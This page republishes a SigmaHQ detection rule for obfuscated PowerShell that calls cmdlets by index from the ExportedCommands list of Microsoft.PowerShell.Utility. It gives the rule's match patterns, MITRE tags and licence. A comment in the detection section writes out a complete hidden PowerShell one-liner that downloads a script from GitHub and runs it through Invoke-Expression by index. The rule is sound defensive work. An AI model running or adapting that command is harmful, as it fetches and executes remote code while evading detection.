Sigma rule: PowerShell Dynamic Module Invocation Via ExportedCommands Array Index
A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-3ddd7c08004f, updated 2026-10-06T00:00:00.000Z.
Rule
- Title
- PowerShell Dynamic Module Invocation Via ExportedCommands Array Index
- Status
- experimental
- Level
- high
- Author
- Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems)
- Date
- 2026-10-06
- File
- rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml
- Commit
- ccbb0369507f796db0b0ae6854c8a2be471b9d84
Detects PowerShell processes invoked with obfuscated command lines that enumerate Microsoft.PowerShell.Utility
exported commands and invoke cmdlets indirectly by array index. This technique is used to evade
detections that look for explicit strings such as Invoke-RestMethod or Invoke-Expression.
Log source
- product
- windows
- category
- process_creation
Detection
# powershell.exe -NoP -W Hidden -C "$kp=12;$sEzg=32;$cSX=((Get-Module -ListAvailable 'Microsoft.PowerShell.Utility')).ExportedCommands.Values;$cSX=$cSX.Name;& $cSX[$kp] 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1' -OutFile C:\Temp\maldoc.ps1;$qJgm=$cSX[$sEzg];& $qJgm (Get-Content C:\Temp\maldoc.ps1 -Raw)"
selection_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'powershell.exe'
- 'pwsh.dll'
selection_module_export_enum:
CommandLine|contains:
- 'Get-Module '
- 'gmo '
CommandLine|contains|all:
- 'ListAvailable'
- 'Microsoft.PowerShell.Utility'
- 'ExportedCommands'
- 'Values'
selection_index_used:
CommandLine|contains: '[*]'
condition: all of selection_*False positives (as the rule lists them)
- Legitimate use of exported commands array indexing during PowerShell command execution (should be rare)
Tags
- attack.execution
- attack.stealth
- attack.t1027.010
- attack.t1059.001
MITRE ATT&CK ids this rule names
Related rules
References
Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml
Sources and licences
SigmaHQ
"PowerShell Dynamic Module Invocation Via ExportedCommands Array Index" by Norbert Jaśniewicz (AlphaSOC), Swachchhanda Shrawan Poudel (Nextron Systems) (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_cmdlet_invocation_via_exported_commands_array_index.yml.
Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License
Cite this page
Dragons Eye Ransomware Tracker, "Sigma rule: PowerShell Dynamic Module Invocation Via ExportedCommands Array Index",
entity page, dataset version ref-3ddd7c08004f, updated 2026-10-06T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/0c3ebe9f-df09-4e00-be0f-73d4ca8d62f6 (accessed 2026-11-03).
Underlying source: SigmaHQ rule 0c3ebe9f-df09-4e00-be0f-73d4ca8d62f6, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.
Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.